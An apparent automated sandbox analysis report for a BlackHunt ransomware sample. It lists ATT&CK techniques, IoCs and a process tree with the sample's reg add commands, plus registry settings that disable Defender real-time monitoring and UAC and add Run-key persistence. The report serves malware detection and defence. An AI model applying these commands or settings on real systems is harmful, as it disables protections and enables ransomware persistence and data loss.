ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543

Data Destruction

T1485

pid	Process
5964	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2676	bcdedit.exe
5896	bcdedit.exe

Renames multiple (521) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5932	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\O:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\G:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\X:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\P:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\M:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\I:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\A:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\L:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\V:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\Q:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\E:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\U:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\S:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\T:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\Y:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\K:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\B:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\N:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\W:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\R:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\H:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened (read-only)	\??\Z:	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_it.properties	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.bfc	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\LICENSE	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\MSBuild\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\libxml2.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\RenameTrace.rmi	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\nashorn.jar	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxml2.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\tools.jar	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\bcel.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy.jar	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\SyncSubmit.css	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\sound.properties	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_ReadMe.hta	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\joni.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11wrapper.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.hta	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\dnsns.jar	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jre-1.8\lib\deploy\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_it.properties	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_Private.key	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xmlresolver.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jre-1.8\lib\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\accessibility.properties	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\libffi.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\snmp.acl.template	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterBold.ttf	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\access-bridge-64.jar	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ko.properties	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\localedata.jar	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bn.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected]	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.txt	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3116	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
64	vssadmin.exe
3312	vssadmin.exe
4480	vssadmin.exe
3416	vssadmin.exe
4128	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Token: SeRestorePrivilege	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Token: SeBackupPrivilege	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Token: SeTakeOwnershipPrivilege	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Token: SeAuditPrivilege	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Token: SeSecurityPrivilege	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Token: SeIncBasePriorityPrivilege	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Token: SeBackupPrivilege	1772	vssvc.exe
Token: SeRestorePrivilege	1772	vssvc.exe
Token: SeAuditPrivilege	1772	vssvc.exe
Token: SeBackupPrivilege	6096	wbengine.exe
Token: SeRestorePrivilege	6096	wbengine.exe
Token: SeSecurityPrivilege	6096	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 624 wrote to memory of 3108	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	89
PID 624 wrote to memory of 3108	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	89
PID 624 wrote to memory of 2016	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	91
PID 624 wrote to memory of 2016	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	91
PID 624 wrote to memory of 2000	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	93
PID 624 wrote to memory of 2000	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	93
PID 624 wrote to memory of 3868	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	95
PID 624 wrote to memory of 3868	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	95
PID 624 wrote to memory of 2416	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	97
PID 624 wrote to memory of 2416	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	97
PID 3108 wrote to memory of 4072	3108	cmd.exe	99
PID 3108 wrote to memory of 4072	3108	cmd.exe	99
PID 2016 wrote to memory of 2884	2016	cmd.exe	100
PID 2016 wrote to memory of 2884	2016	cmd.exe	100
PID 2000 wrote to memory of 4456	2000	cmd.exe	101
PID 2000 wrote to memory of 4456	2000	cmd.exe	101
PID 3868 wrote to memory of 3136	3868	cmd.exe	102
PID 3868 wrote to memory of 3136	3868	cmd.exe	102
PID 2416 wrote to memory of 3352	2416	cmd.exe	103
PID 2416 wrote to memory of 3352	2416	cmd.exe	103
PID 624 wrote to memory of 4932	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	104
PID 624 wrote to memory of 4932	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	104
PID 624 wrote to memory of 3600	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	106
PID 624 wrote to memory of 3600	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	106
PID 624 wrote to memory of 5052	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	109
PID 624 wrote to memory of 5052	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	109
PID 624 wrote to memory of 4124	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	113
PID 624 wrote to memory of 4124	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	113
PID 4932 wrote to memory of 3048	4932	cmd.exe	110
PID 4932 wrote to memory of 3048	4932	cmd.exe	110
PID 624 wrote to memory of 3452	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	112
PID 624 wrote to memory of 3452	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	112
PID 624 wrote to memory of 3796	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	116
PID 624 wrote to memory of 3796	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	116
PID 624 wrote to memory of 1972	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	117
PID 624 wrote to memory of 1972	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	117
PID 3600 wrote to memory of 2224	3600	cmd.exe	119
PID 3600 wrote to memory of 2224	3600	cmd.exe	119
PID 624 wrote to memory of 2160	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	120
PID 624 wrote to memory of 2160	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	120
PID 624 wrote to memory of 4612	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	123
PID 624 wrote to memory of 4612	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	123
PID 5052 wrote to memory of 4028	5052	cmd.exe	121
PID 5052 wrote to memory of 4028	5052	cmd.exe	121
PID 4124 wrote to memory of 4508	4124	cmd.exe	125
PID 4124 wrote to memory of 4508	4124	cmd.exe	125
PID 624 wrote to memory of 5084	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	126
PID 624 wrote to memory of 5084	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	126
PID 624 wrote to memory of 3844	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	131
PID 624 wrote to memory of 3844	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	131
PID 624 wrote to memory of 3816	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	129
PID 624 wrote to memory of 3816	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	129
PID 3452 wrote to memory of 1592	3452	cmd.exe	127
PID 3452 wrote to memory of 1592	3452	cmd.exe	127
PID 624 wrote to memory of 228	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	132
PID 624 wrote to memory of 228	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	132
PID 624 wrote to memory of 3216	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	135
PID 624 wrote to memory of 3216	624	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe	135
PID 3796 wrote to memory of 5104	3796	cmd.exe	137
PID 3796 wrote to memory of 5104	3796	cmd.exe	137
PID 2160 wrote to memory of 4344	2160	cmd.exe	139
PID 2160 wrote to memory of 4344	2160	cmd.exe	139
PID 1972 wrote to memory of 560	1972	cmd.exe	138
PID 1972 wrote to memory of 560	1972	cmd.exe	138

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe
"C:\Users\Admin\AppData\Local\Temp\ce59e40504830fab49a497613d96dad2093719ed07b2dbc4221cffac99cd1543.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3136
- C:\Windows\System32\cmd.exe
